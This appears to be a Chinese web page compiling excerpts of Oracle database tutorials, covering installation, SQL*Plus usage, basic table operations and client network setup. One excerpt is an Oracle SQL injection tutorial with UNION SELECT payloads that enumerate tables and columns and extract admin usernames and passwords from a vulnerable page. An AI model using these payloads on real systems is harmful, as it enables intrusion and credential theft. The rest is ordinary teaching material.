Oracle经典教程
oracle经典-实例教程(很实用)

2009.5
Louis
Oracle 教程
目录 引言................................................................................................................................................... 3 第一章 数据库基础......................................................................................................................... 6 第二章 Oracle 入门 ......................................................................................................................... 6 第三章 查询基础........................................................................................................................... 11 第四章 单行函数........................................................................................................................... 14 第五章 分组函数........................................................................................................................... 19 .................................................................................................. 21 第七章 子查询............................................................................................................................... 24 第八章 高级查询........................................................................................................................... 40 第九章 数据字典........................................................................................................................... 43 第十章 Oracle 数据类型 ............................................................................................................... 44 第十一章 Oracle 体系结构(DBA) ................................................................................................ 45 第十二章 DDL(改变表结构) ........................................................................................................ 46 第十三章 DML(改变数据结构)................................................................................................. 48 第十四章 约束............................................................................................................................... 49 第十五章 视图............................................................................................................................... 55 第十六章 索引............................................................................................................................... 56 第十七章 序列、同义词 ............................................................................................................... 65 第十八章 PL SQL.......................................................................................................................... 67 第十九章 游标、函数................................................................................................................... 79 第二十章 存储过程....................................................................................................................... 86 第二十一章 触发器....................................................................................................................... 90 第二十二章 事务(数据库系统概论) ....................................................................................... 99 第二十三章 用户管理................................................................................................................. 100 第二十四章 备份 恢复 SQLLoader .......................................................................................... 104 第二十五章 数据库设计范式 ..................................................................................................... 106 第二十六章 数据库设计工具 ..................................................................................................... 107 第二十七章 对象关系数据库系统 ............................................................................................. 112 第二十八章 其他数据库 ............................................................................................................. 113
Oracle11g 安装 培训 视频教程

王二暖Oracle11g教室时间和具体内容第0部分本视频课程简介.wmv 38分钟第1部分Oracle11g简介.wmv 46分钟第2.1部分oracle11g的基本SQL语句和函数.wmv 1小时22分钟第2.2部分oracle11g的复杂SQL语句.wmv 1小时47分钟第3部分用户和权限.wmv 45分钟第4部分完整行约束.wmv 37分钟第5部分oracle11g的网络配置.wmv 1小时11分钟第6部分oracle11g的锁.wmv 29分钟第7部分Oracle11g的体系结构.wmv 2小时36分钟第8部分Oracle11g的启动和关闭.wmv 33分钟第9部分oracle11g的表.wmv 1小时20分钟第10部分oracle11g的表分区.wmv 1小时10分钟第11部分同义词.wmv 17分钟第12部分序列视频.wmv 26分钟第13部分oracle11g的视图.wmv 41分钟第14部分索引.wmv 1小时10分钟第15部分JAVA操纵Oracle11g.wmv 45分钟第16部分oracle11g中的事务.wmv 57分钟第17部分oracle11g的数据字典和动态性能视图.wmv 38分钟第18部分ORACLE11g的归档方式和日志文件的相关操作.wmv 1小时11分钟第19部分oracle11g的PLSQL基础.wmv 2小时12分钟第20部分oracle11g的过程和函数.wmv 51分钟第21部分oracle11g的游标.wmv 1小时27分钟第22部分oracle11g的触发器.wmv 1小时23分钟第23部分oracle11g的程序包.wmv 1小时10分钟第24部分JAVA访问oracle11g中的存储过程.wmv 55分钟第25部分oracle11g的临时表空间.wmv 28分钟第26部分oracle11g的UNDO表空间.wmv 37分钟第27部分oracle11g的逻辑备份恢复.wmv 2小时46分钟第28部分Oracle11g的数据装载.wmv 50分钟第29部分oracle11g的闪回Flashback.wmv 1小时15分钟第30部分oracle11g的物化视图.wmv 58分钟第31部分使用物化视图和exp实现生产库的逻辑备份的例子.wmv 16分钟具体课程目录如下:第1部分Oracle11g简介1.1 Oracle的发展1.2 Oracle的主要产品1.3 为什么要学习Oracle11g1.4 Oracle11g简介1.5 Oracle11g的认证1.6 Oracle11g的安装(for Windows)1.7 Oracle11g的服务1.8 Oracle11g的卸载1.9 访问Oracle11g的工具1.10 Oracle11g常用的SQL*Plus命令1.11 Oracle11g的网络配置第2.1部分Oracle11g的基本SQL语句和函数2.1.1 Oracle的数据类型2.1.2 数据定义语言2.1.3 数据操纵语言2.1.4 SELECT命令详解2.1.5 Oracle中的CREATE TABLE <new_table_name> AS ...和insert into <table_name> select ...的使用2.1.6 数据控制语言2.1.7 SQL操作符2.1.8 Oracle的单行函数2.1.9 GROUP BY和HAVING子句的使用2.1.10 多表连接的方式2.1.11 集合操作符2.1.12 表和列的重命名第2.2部分Oracle11g的复杂SQL语句2.2.1 SQL语句执行顺序的分析2.2.2 EXISTS执行过程的分析2.2.3 子查询的使用2.2.4 GROUP BY的练习2.2.5 自连接的使用2.2.6 SELECT CASE WHEN的的使用2.2.7 复杂更新语句的使用(UPDATE执行过程的分析)2.2.8 分析函数的使用2.2.9 DECODE的使用2.2.10 Oracle中的行列转换2.2.11 ROWNUM的使用2.2.12 使用三种SQL命令来删除表中的重复记录2.2.13 GROUP BY GROUPING SETS 的使用第3部分用户和权限管理3.1 Oracle11g的默认用户3.2 创建新用户3.3 概要文件profile的使用3.4 Oracle11g的权限分类3.5 Oracle11g的系统权限3.6 Oracle11g的对象权限3.7 Oracle11g的角色管理3.8 删除、修改用户第4部分完整行约束4.1 举例说明数据完整性的含义4.2 维护数据完整性的五种方式的举例说明4.3 建立主键的五种不同方式4.4 完整性约束的习题讲解4.5 给已有表添加、删除约束的方法第5部分Oracle11g的网络配置5.1 Oracle11g的网络连接方式5.2 Oracle11g至少需要启动的服务5.3 lsnrctl命令的使用5.4 sqlnet.ora的作用5.5 客户端连接的两种方式5.6 tnsnames.ora的作用5.7 Oracle11g的服务名的含义5.8 listener.ora的作用5.9 静态注册、动态注册的含义及其相互转化的方式第6部分Oracle11g的锁6.1 锁的概念和优点6.2 行级锁6.3 表级锁的五种方式6.4 死锁第7部分Oracle11g的体系结构7.1 Oracle11g的主要组件7.2 Oracle11g内存结构7.3 Oracle11g的SGA的组成7.4 Oracle11g的PGA的组成7.5 Oracle11g的进程概念7.6 Oracle11g的后台进程7.7 9i中的自动PGA管理7.8 10g中的自动SGA管理7.9 11g中的自动内存管理7.10 Oracle11g的物理文件7.11 Oracle11g的逻辑结构第8部分Oracle11g的启动和关闭8.1 Oracle11g的参数文件8.2 Oracle11g的四种状态8.3 Oracle的启动8.4 Oracle的关闭第9部分Oracle11g的表9.1 术语----高水位线9.2 术语---- PCTFREE9.3 术语---- PCTUSED9.4 PCTFREE和PCTUSED的使用场合9.5 普通表(包含分配空间、移动表、收缩表、截断表等操作的方式)9.6 IOT表9.7 簇表9.8 临时表第10部分Oracle11g的表分区10.1 表分区的含义10.2 范围分区10.3 散列分区10.4 列表分区10.5 复合分区10.6 Oracle11g的引用分区10.7 Oracle11g的间隔分区10.8 Oracle11g的基于虚拟列的分区10.9 Oracle11g的系统分区10.10 分区的维护操作第11部分同义词11.1 同义词的含义11.2 共有同义词的建立和使用11.3 私有同义词的建立和使用11.4 tab是什么?第12部分序列12.1 序列的含义12.2 建立序列(包括重要参数的含义)12.3 访问序列12.4 更改、删除序列12.5 程序中如何实现自增第13部分Oracle11g的视图13.1 Oracle11g中创建视图的语法13.2 多表视图的建立13.3 单表视图的更新13.4 视图上的DML语句13.5 视图中的函数第14部分索引14.1 索引的概念和作用14.2 B树索引的工作原理(查询过程分析)14.3 创建标准索引14.4 如何分析索引中是否存在碎片和使用率14.5 创建唯一索引、组合索引、反向键索引、位图索引14.6 基于函数的索引14.7 重建索引的条件和方法14.8 索引的分区14.9 获取索引信息的视图第15部分JAVA操纵Oracle11g15.1 Oracle11g的驱动所在的位置15.2 ODBC访问方式15.3 JDBC-ODBC桥访问方式,输入Java代码演示15.4 JDBC访问方式,输入Java代码演示第16部分Oracle11g中的事务16.1 举例说明事务的四个特性16.2 Oracle11g事务的命令(与SqlServer进行对比)16.3 JAVA中进行oracle11g的事务处理(举2个经典例子,输入Java代码演示)第17部分Oracle11g的数据字典和动态性能视图17.1 Oreacle11g中的数据字典的含义是什么17.2 数据字典基本表怎么被创建的17.3 数据字典视图是什么?怎么被创建的17.4 Oracle11g的数据字典视图的三种类型(分析user_tables究竟是什么)17.5 Oracle11g的动态性能视图(分析V$SESSION究竟是什么)第18部分Oracle11g的归档方式和日志文件的相关操作18.1 在线日志文件的作用18.2 数据库归档方式的转换18.3 Oracle11g的归档日志位置的设置18.4 归档中,被废弃的早期的初始化参数18.5 联机日志文件和联机日志文件组18.6 联机日志文件组的四种常见状态18.7 增加、清除联机日志文件18.8 自动归档、手工归档第19部分Oracle11g的PL/SQL基础19.1 PL/SQL简介19.2 PL/SQL 块的结构19.3 变量和常量(与T-SQL进行比较)19.4 PL/SQL中的数据类型(包含Oracle11g中新增的类型)19.5 如何把大文件保存到表BLOB列中19.6 如何把大内容保存到表的CLOB列中19.7 Oracle11g新特性:无dual的序列19.8 PL/SQL中的流程控制结构(重点讲循环的几种方式)19.9 Oracle11g新特性:continue语句的使用19.10 动态SQL的使用19.11 PL/SQL中的错误处理机制第20部分Oracle11g的过程和函数20.1 创建过程的语法20.2 过程参数的三种模式20.3 在两种方式下(Sql*Plus中和其他过程内),执行过程的方法20.4 执行过程的权限20.5 创建函数的语法20.6 函数的课堂题目和解答20.7 函数和过程的比较20.8 Oracle11g的自主事务处理第21部分Oracle11g的游标21.1 游标的简介和分类21.2 Oracle11g的隐式游标21.3 Oracle11g的显式游标21.4 Oracle11g的带参数的显式游标21.5 使用显式游标更新行(更新、删除)21.6 Oracle11g的循环游标21.7 使用fetch ... bulk collect into进行批量提取21.8 Oracle11g的REF游标21.9 显式游标、REF游标的课堂题目和分析解答第22部分Oracle11g的触发器22.1 触发器的作用22.2 创建触发器的语句(与SqlServer进行比较)22.3 for each row子句的含义22.4 after、before两种类型的触发器的区别22.5 instead of触发器的使用22.6 模式触发器的使用22.7 数据库启动、关闭触发器的使用22.8 用户登录、退出触发器的使用22.9 启用、禁用、查看触发器第23部分Oracle11g的程序包23.1 程序包的含义23.2 建立包规范23.3 建立包体23.4 程序包中游标的使用23.5 常用的内置程序包(dbms_output、dbms_random、utl_file、dbms_job等)第24部分JAVA访问Oracle11g中的存储过程24.1 java程序中调用Oracle11g中的没有返回参数的存储过程(插入记录)24.2 java程序中调用Oracle11g中的没有返回参数的存储过程(更新记录)24.3 java程序中调用Oracle11g中的有返回参数的存储过程(查询记录)24.4 java程序中调用Oracle11g中的返回列表的存储过程24.5 java程序中调用Oracle11g中的分页存储过程(存储过程返回分页的列表)第25部分Oracle11g的临时表空间25.1 Oracle11g中临时表空间的作用25.2 Oracle11g的临时表空间和临时表空间组25.3 oracle11g的临时表空间的操作第26部分Oracle11g的UNDO表空间26.1 9i到11g的Undo管理的方式改变26.2 UNDO块的作用26.3 UNDO表空间的作用26.4 Oracle11g的UNDO相关的重要参数26.5 Oracle11g的UNDO表空间的操作26.6 Oracle11g的UNDO表空间的新特性第27部分Oracle11g的逻辑备份恢复27.1 数据库备份、恢复简介27.2 Oracle环境中可能发生的故障类型27.3 传统的导出程序exp27.4 传统的导入程序imp27.5 可传输表空间27.6 11g的数据泵简介27.7 expdp的重要参数27.8 impdp的重要参数27.9 exp/imp与数据泵的区别第28部分Oracle11g的数据装载28.1 数据装载的使用场合和几种方式28.2 SQL*LOADER的使用28.3 外部表的使用第29部分Oracle11g的闪回Flashback29.1 Oracle9i的闪回查询29.2 Oracle10g的闪回版本查询29.3 Oracle10g的闪回事务查询29.4 Oracle10g的闪回表29.5 Oracle10g的闪回删除29.6 Oracle10g的闪回数据库第30部分Oracle11g的物化视图30.1 物化视图的发展、简介30.2 物化视图的作用30.3 创建物化视图的权限30.4 创建物化视图的选项30.5 基于主键的物化视图30.6 基于rowid的物化视图第31部分使用物化视图和exp实现生产库的逻辑备份的例子31.1 问题的提出31.2 问题的解决。
Oracle中文使用手册

1.Oracle的使用1.1. SQLPLUS的命令初始化表的位置:set NLS_LANG=american_7ascii (设置编码才可以使用下面脚本)cd $ORACLE_HOME/rdbms cd demo summit2.sql*********************************我们目前使用的是oralce 9i 9201 版本select * from v$version;恢复练习表命令:sqlplus **/** @summit2.sql //shell要在这个文件的位置。
登陆oracle的命令:sqlplus 用户名/密码show user 显示当前登陆的身份.set pause onset pause off 分页显示.oracle中默认日期和字符是左对齐,数字是右对齐table or view does not exist ; 表或示图不存在edit 命令用于自动打开vi修改刚修执行过的sql的命令。
修改方法二:l 3 先定位到行 c /旧串/新串执行出错时,利用错误号来查错误:!oerr ora 942 (装完系统后会装一个oerr工具,用于通过错误号来查看错误的具体信息)想在sql中执行unix命令时,把所有的命令前加一个!就可以,或者host( 用于从sql从切换至unix环境中去)/*** 初次使用时注意 ****运行角本时的命令:先切换到unix环境下,cd $oracle_home cd sqlplus cd demo 下面有两个角本建表语句。
@demobld.sqlsqlplus nanjing/nanjing @demobid.sql 直接运行角本,后面跟当前目录或者是绝对路径保存刚才的sql语句:save 命令第二次保存时要替换之前的角本 save 文件名 replace把刚才保的sql重新放入 buffer中spool on 开启记录spool off 关闭记录spool 文件名此命令会把所有的操作存在某个文件中去常见缩写:nls national language support 国家语言支持1.2. SQL的结构|DDL 数据库定义|DML 数据库管理SQL――Commit rollback|DCL 数据库控制|grant+revoke 权限管理表分为:系统表(数据字典),用户表注:知道数据字典可以更便于使用数据库。
Oracle经典教程(推荐)

走进Oracle (2)1.Oracle简介 (4)2.Oracle安装 (5)3.Oracle客户端工具 (10)4.Oracle服务 (17)5.Oracle启动和关闭 (18)6.Oracle用户和权限 (19)7.本章总结 (22)8.本章练习 (23)SQL数据操作和查询 (26)1.SQL简介 (27)2.Oracle数据类型 (27)3.创建表和约束 (28)4.数据操纵语言(DML) (31)5.操作符 (36)6.高级查询 (37)7.本章总结 (45)8.本章练习 (46)子查询和常用函数 (49)1.子查询 (50)2.Oracle中的伪列 (52)3.Oracle函数 (55)4.本章总结 (64)5.本章练习 (65)表空间、数据库对象 (68)1.Oracle数据库对象 (69)2.同义词 (69)3.序列 (72)4.视图 (74)5.索引 (76)6.表空间 (78)7.本章总结 (82)8.本章练习 (83)PL/SQL程序设计 (86)1.PL/SQL简介 (87)2.PL/SQL块 (88)3.PL/SQL数据类型 (92)4.PL/SQL条件控制和循环控制 (94)5.PL/SQL中动态执行SQL语句 (104)6.PL/SQL的异常处理 (106)7.本章总结 (112)8.本章练习 (113)Oracle应用于.Net平台 (115)1.回顾 (116)2.使用连接Oracle (117)3.抽象工厂中加入Oracle (121)4.本章总结 (126)5.本章练习 (127)数据库导入导出 (129)1.Oracle导入导出 (130)2.EXP导出数据 (130)3.IMP导入 (133)4.常见问题 (134)第1章走进Oracle主要内容Oracle安装✓Oracle创建用户和角色✓客户端链接Oracle服务器1.Oracle简介在第一学期我们已经接触过关系型数据库SQL Server,对数据库、表、记录、表的增删改查操作等这些基本的概念已经了解。
oracle基本操作

oracle基本操作Oracle是一种关系数据库管理系统,它是世界上最受欢迎的企业级数据库。
它被各种企业广泛使用,它的功能非常强大,包括数据安全、访问控制、事务处理、性能优化、数据备份和恢复等。
本文将介绍Oracle的基本操作,包括如何创建、修改和删除表,如何插入、更新和删除数据,以及如何查询和导出数据。
这些操作对于初学者来说非常重要,也是使用Oracle的基础。
1.创建表格在Oracle中,创建表的语法如下:CREATE TABLE table_name ( column1 datatype, column2 datatype, column3 datatype, .... );其中,table_name是要创建的表的名称,column1、column2等是列名,datatype是列的数据类型。
例如,创建一个名为“employees”的表格,并添加列“id”、“name”和“salary”,则可以使用以下命令:CREATE TABLE employees ( id NUMBER(4) NOT NULL, name VARCHAR2(15) NOT NULL, salary NUMBER(7,2), PRIMARY KEY (id) );注意,id和name列设置为NOT NULL,这表示这两列不能为空。
salary列的数据类型为NUMBER,并设置了精度和小数位数。
2.修改表格如果需要修改表格,可以使用ALTER TABLE命令。
例如,如果想向employees表格添加新的列“address”,可以使用以下命令:ALTER TABLE employees ADD address VARCHAR2(50);如果需要删除表格中的列,可以使用以下命令:ALTER TABLE employees DROP COLUMN address;3.删除表格如果需要删除一个表格,可以使用以下命令:DROP TABLE table_name;例如,删除名为“employees”的表格:DROP TABLE employees;如果不小心使用了错误的命令或者删除的表格不是自己想要的,则可以使用RECOVER命令来找回删除的表格。
oracle注入经典教程

oracle注入经典大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好...oracle系统库默认的用户有sys,system,internal,scott,前三个权限都是system权限..先说下数据库的注释:access支持null和%00注释; mssql支持--和;的注视;mysql支持/*的支持;oracle支持--的注视这里也许大家说了如果mssql过滤了;注视,该怎么区别oracle和mssql数据库呢,如果是oracle的库,一旦出错的话,很多时候就会出现oracle.odbc等之类的存储过程出错的语句,也可以通过; and user()>0来判断mssql,从而排除oracle的库现在来说注入:第一种方法使用dual系统表一、判断注入数字型:and 1=1 and 1=0 字符型: and 1=1 and 1=0 搜索型: xx% and 1=1 and %= xx% and 1=2 and %=(xx必须是在页面中存在的字符串) 文本型:url%2B返回正常 url"%2Basdfg返回出错(asdfg是随便输入的字符串)二、长度判断你可以选择union select null,null,null.....(用null,null,null而没有用1,2,3是为了避免类型的问题,当确定下来后可以逐个来替换类型,oracle是不会自动匹配类型滴) order by 我感觉比较省事,我一般都是order by三、判断dual表是不是存在(这篇文章是针对dual表存在的情况进行注入的,如果不存在的话,工具要是跑不来的话就是体力活了) url and exist (select * from dual)四、进行注入假设:/abc.jsp?id=1存在注入,而且有7个字段而且都是整型,索引值是在2处1.判断oracle版本 /abc.jsp?id=1 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,4,5,6,7 from dual2.判断当前连接用户/abc.jsp?id=1 and 1=2 union select 1,(select sys_context(userenv,current_user from dual)),3,4,5,6,7 from dual3.爆表/abc.jsp?id=1 and 1=2 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比较多,所以长度有要求,有些时候可能因为长度不够有些表没有显示出来,假设上面爆出来的有admin表4.爆字段 /abc.jsp?id=1 and 1=2 union select 1,column_name,3,4,5,6,7 from cols where table_name=admin(假设是username和password)5.爆字段内容 /abc.jsp?id=1 and 1=2 union select 1,username,3,4,5,6,7 from admin /abc.jsp?id=1 and 1=2 union select 1,password,3,4,5,6,7 from admin 当然也可以使用concat(),每个人的习惯不一样罢了第二种方法配合utl_http存储过程如果想检测一下UTL_HTTP包是否存在可以使用语句" select count(*) from all_objects where object_name=UTL_HTTP "来判断。
oracle 数据库管理员日常操作手册

Oracle数据库管理员日常操作手册===================一、用户管理------### 1.1 创建用户1. 打开Oracle数据库管理工具(如SQL*Plus或SQL Developer)。
2. 使用管理员账户(如sys)登录。
3. 执行以下SQL语句创建用户:```sqlCREATE USER username IDENTIFIED BY password;```其中,`username`为用户名,`password`为密码。
4. 可选:为新用户分配表空间。
例如,执行以下语句将用户分配到默认的表空间:```sqlALTER USER username DEFAULT TABLESPACE tablespace_name;```其中,`tablespace_name`为要分配给用户的表空间的名称。
### 1.2 修改用户密码1. 打开Oracle数据库管理工具。
2. 使用管理员账户登录。
3. 执行以下SQL语句修改用户密码:```sqlALTER USER username IDENTIFIED BY new_password;```其中,`username`为要修改密码的用户名,`new_password`为用户的新密码。
### 1.3 删除用户1. 打开Oracle数据库管理工具。
2. 使用管理员账户登录。
3. 执行以下SQL语句删除用户:```sqlDROP USER username;```其中,`username`为要删除的用户名。
二、数据库备份与恢复----------### 2.1 执行完整备份1. 打开Oracle数据库管理工具(如Enterprise Manager)。
2. 选择要进行备份的数据库。
3. 执行备份命令。
通常使用类似以下的命令:```bashRMAN> RUN {2> ALLOCATE CHANNEL c1 DEVICE TYPE DISK;3> BACKUP DATABASE FORMAT '/path/to/backup/location/backup_date' PLUS ARCHIVELOG;4> }```其中,`/path/to/backup/location/`为备份文件的存储路径,`backup_date`为备份日期和时间。
《oracle基础教程》课件

Oracle数据库的数据插入
总结词
插入数据是将数据添加到Oracle数据库表中的基本操作之一。
详细描述
在Oracle数据库中,可以使用INSERT语句向表中插入数据。INSERT语句指定了要插入数据的表和要插入的数据 ,以及要插入数据的列的顺序和数据类型。插入数据后,可以使用SELECT语句查询表中的数据,以验证数据是 否已成功插入。
Oracle数据库的数据查询
总结词
查询数据是从Oracle数据库表中检索数 据的操作之一。
VS
详细描述
在Oracle数据库中,可以使用SELECT语 句查询表中的数据。SELECT语句指定了 要检索的列和要检索的表,以及可能的筛 选条件和排序规则。查询结果将返回满足 条件的所有行和列。此外,还可以使用聚 合函数、分组和连接等高级查询技术来检 索更复杂的数据。
Oracle数据库在科研领域中也有广泛 应用,如生物信息学、气象学、地理 信息系统等。
企业级应用
金融行业
政府机构
科研领域
Oracle数据库广泛应用于各种企业级 应用,如ERP、CRM、人力资源等。
Oracle数据库在政府机构中的应用也 非常普遍,如税务、公安、社保等。
02
Oracle数据库的安装与配置
1990年代
Oracle推出更多企业级数据库解决 方案,进一步巩固市场地位。
03
02
1980年代
Oracle数据库不断升级和完善,逐 渐成为市场领导者。
2000年代至今
Oracle持续创新,推出了一系列云 数据库和大数据解决方案。
04
Oracle数据库的特点
高效性能
Oracle数据库具有出色的查询性能和事 务处理能力,能够满足各种规模的企业
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
第 1 章走进 Oracle主要内容✓Oracle 安装✓Oracle 创建用户和角色✓客户端链接 Oracle 服务器1.Oracle 简介在第一学期我们已经接触过关系型数据库SQL Server,对数据库、表、记录、表的增删改查操作等这些基本的概念已经了解。
Oracle 是基于对象的关系型数据库,Oracle 也是用表的形式对数据存储和管理,并且在Oracle 的操作中添加了一些面向对象的思想。
Oracle 数据库是Oracle(中文名称叫甲骨文)公司的核心产品,Oracle 数据库是一个适合于大中型企业的数据库管理系统。
在所有的数据库管理系统中(比如:微软的SQL Server,IBM 的DB2 等),Oracle 的主要用户涉及面非常广,包括:银行、电信、移动通信、航空、保险、金融、电子商务和跨国公司等。
Oracle 产品是免费的,可以在Oracle 官方网站上下载到安装包,另一方面Oracle 服务是收费的。
Oracle 公司成立以来,从最初的数据库版本到Oracle7、Oracle8i、Oracle9i,Oracle10g 到Oracle11g,虽然每一个版本之间的操作都存在一定的差别,但是Oracle 对数据的操作基本上都遵循SQL 标准。
因此对Oracle 开发来说版本之间的差别不大。
很多人没有学习Oracle 就开始发怵,因为人们在误解Oracle,认为Oracle 太难学了,认为Oracle 不是一般人用的数据库,其实任何数据库对应用程序研发人员来说,都是大同小异,因为目前多数数据库都支持标准的SQL。
在Oracle 这本书中,我们能学习到:➢Oracle 的安装➢Oracle 数据管理➢常用子查询及常用函数➢PL/SQL 编程➢Oracle 基本管理由于在第一学期已经接触了SQL Server,Oracle 数据库的概念不是很难,主要是实践,因此在本书的学习中,认真的完成上机练习是学习好本书的关键。
接下来我们先从Oracle 安装开始,接触一些Oracle 中基本的概念。
2.Oracle 安装Oracle 数据库产品是免费的,我们可以从Oracle 的官方网站()下载到程序安装包,Oracle 在Windows 下的安装非常方便,安装开始后,一直点击安装程序的“下一步”即可。
1. 下载Oracle10g 后,解压到一个文件夹下,单击“setup.exe”文件即可启动安装界面。
如下图:图 1 Oracle 安装启动界面Oracle 主目录位置就是Oracle 准备安装的位置,称为“Oracle_Home”,一般Oracle 根据当前计算机的硬盘大小默认给出一个合适的位置。
Oracle 安装时可以只安装Oracle 软件,然后单独创建数据库,也可以在上图中选中“创建启动数据库”复选框,在安装Oracle 产品时,同时创建一个数据库,对初学者来说,推荐这样安装。
填写全局数据库名,以及管理员的密码。
全局数据库名是数据库在服务器网络中的唯一标识。
2. 点击“下一步”,就会出现如下图内容,开始对Oracle 服务器进行环境检查,主要查看服务器是否符合Oracle 安装的条件,比如操作系统是否支持、系统内存是否符合Oracle 安装的最低要求等。
图 2 Oracle 安装前环境检查3. Oracle 检查通过后,单击“下一步”,就会列出所有安装Oracle 过程中的默认选项。
图 3 Oracle 默认安装设置4. 单击“安装”按钮,进入安装界面,这一过程经历时间比较长,根据计算机的性能不同有很大差别。
图 4 Oracle 安装5. 上图完成后,进入了各种Oracle 工具的安装阶段,包括网络配置向导,iSQL*plus等(后面课程中讲解)。
如下图所示:图 5 Oracle 各种工具的安装6. 接下来自动启动DBCA(Database Configuration Assistant)进入创建默认数据库阶段。
图 6 DBCA 下安装数据库Oracle 中的数据库主要是指存放数据的文件,这些文件在Oracle 安装完成后,在计算机硬盘上都能找到,包括数据文件、控制文件和数据库日志文件。
数据库创建后会有一系列为该数据库提供服务的内存空间和后台进程,称为该数据库的实例。
每一个数据库至少会有一个实例为其服务。
实例中的内存结构称为系统全局区(SGA),系统会根据当前计算机系统的性能给SGA 分配非常可观的内存空间。
Oracle 创建数据库不能像SQL Server 那样用一个简单的CREATE DATABASE 命令就能完成,在创建数据库的过程中还需要配置各种参数。
虽然有DBCA 工具向导,但是仍然需要进行比较麻烦的配置。
7. 数据库创建完毕后,需要设置数据库的默认用户。
Oracle 中为管理员预置了两个用户分别是SYS 和SYSTEM。
同时Oracle 为程序测试提供了一个普通用户scott,口令管理中,可以对数据库用户设置密码,设置是否锁定。
Oracle 客户端使用用户名和密码登录Oracle 系统后才能对数据库操作。
图7 DBCA 下的口令管理图8 为system,sys,scott 用户设置密码默认的用户中,SYS 和SYSTEM 用户是没有锁定的,安装成功后可以直接使用,SCOTT 用户默认为锁定状态,因此不能直接使用,需要把SCOTT 用户设定为非锁定状态才能正常使用。
这一步完成后,Oracle 系统安装成功。
3.Oracle 客户端工具Oracle 服务器安装成功后,就可以通过客户端工具连接Oracle 服务器了,可以到Oracle 官方下载Oracle 专用的客户端软件,大多客户端工具都是基于Oracle 客户端软件的。
接下来介绍几种常用的Oracle 客户端工具。
SQL*Plus 工具该工具是Oracle 系统默认安装下,自带的一个客户端工具。
在Windows 命令行中输入“sqlplusw”命令,就能够启动该工具了。
图9 SQL*Plus 工具输入用户名和密码后,如果SQL*Plus 与数据库服务器在同一台计算机上,并且当前服务器下只有一个数据库实例,那么“主机字符串”可以不用填写。
SQL*Plus 连接成功后就如图所示:图10 SQL*Plus 工具登录后SQL*Plus 命令行工具该命令行工具,提供了与数据库交互的能力和维护数据库的能力,包括了Oracle 自带的SQL*Plus 工具的全部功能,在Oracle 管理中经常使用。
在命令行中输入:“sqlplus /nolog”即可启动该工具。
如下图:图11 启动SQL*Plus 命令行工具输入“sqlplus /nolog”命令后,只是启动了一个客户端进程,并没有与服务器连接,连接到Oracle 服务器的命令是:conn 用户名/密码as 连接身份@服务器连接字符串说明:1. 连接身份:表示该用户连接后拥有的权限。
➢sysdba:即数据库管理员,权限包括:打开数据库服务器、关闭数据库服务器、备份数据库、恢复数据库、日志归档、会话限制、管理功能、创建数据库。
sys 用户必须用sysdba 身份才能登录,system 用户可以用普通身份登录。
➢sysyoper:即数据库操作员,权限包括:打开数据库服务器、关闭数据库服务器、备份数据库、恢复数据库、日志归档、会话限制。
➢normal:即普通用户,权限只有查询某些数据表的数据。
默认的身份是normal 用户。
2. 客户端工具可以根据“服务器连接字符串”对服务器进行连接,有了连接字符串后客户端就可以像操作本机一样操作远程数据库,因此“服务器连接字符串”的配置也叫本地网络服务配置,如果SQL*Plus 工具启动在服务器上,并且服务器上只有一个数据库实例的情况下,连接字符串可以缺省,在连接字符串中包括连接服务器的协议,服务器的地址,服务器的端口等设置,Oracle 服务名等,该配置文件在Oracle 安装目录下的:network/ADMIN/ tnsnames.ora。
该文件是一个文本文件,用记事本打开后如下所示:图 12 服务器连接字符串配置✧ 配置本地网络服务名本地网络服务名,即客户端与服务器的连接字符串,本地网络服务名是客户端的配置,Oracle 客户端安装后,可以使用客户端自带的网络配置向导(Net Configuration Assistant)进行配置:1. 启动Net Configuration Assistant。
选择“本地Net 服务名配置”选项。
如下图所示:图13 启动Net Configuration Assistant2. 选择“下一步”,本步骤可以对本地网络服务名进行添加,删除,测试是否正常连接等操作,选择“添加”选项。
图 14 Net Configuration Assistant3. 点击“下一步”,填写服务名,该服务名就是Oracle 安装时(图1),为数据库取的全局数据库名。
图 15 服务名配置4. 点击“下一步”,选择服务需要的协议,默认是TCP 协议。
推荐使用默认的TCP 协议。
图 16 选择协议5. 点击“下一步”,输入主机名,主机名可以是计算机名称,也可以是一个IP 地址,主机如果是本机,可以使用本机计算机名称、“localhost”、“127.0.0.1”、或者本机的IP 地址。
图 17 输入主机名和端口6. 单击“下一步”,选择“是,进行测试”选项。
进入下图界面。
图 18 测试成功在测试时,默认采用的用户名和密码是system/manager 进行测试,如果用户system 的密码不是“manager”,有可能测试通不过,更改登录后,输入正确的用户名和密码后再进行测试即可。
7. 测试成功后,单击“下一步”,出现如下界面,这一步是为本地网络服务命名,即图12 中的服务器连接字符串名。
图 19 为网络服务名命名点击“下一步”,配置就完成了,进入tnsnames.ora 文件中查看,就出现了如图12 中的内容。
PL/SQL Developer 工具在实际Oracle 开发中,经常使用一个功能强大的第三方工具:“PL/SQL Developer”工具。
PL/SQL Developer 基本上可以实现Oracle 开发中的任何操作。
它运行在客户端时必须先安装Oracle 客户端,并且通过网络配置向导配置网络服务名后才能正常与服务器连接。
图 20 PL/SQL Developer4.Oracle 服务Oracle 在windows 中安装完成后,会安装很多服务,下面介绍几个主要的服务。
图 21 Oracle 服务➢ OracleService+服务名,该服务是数据库启动的基础,只有该服务启动了,Oracle 数据库才能正常启动。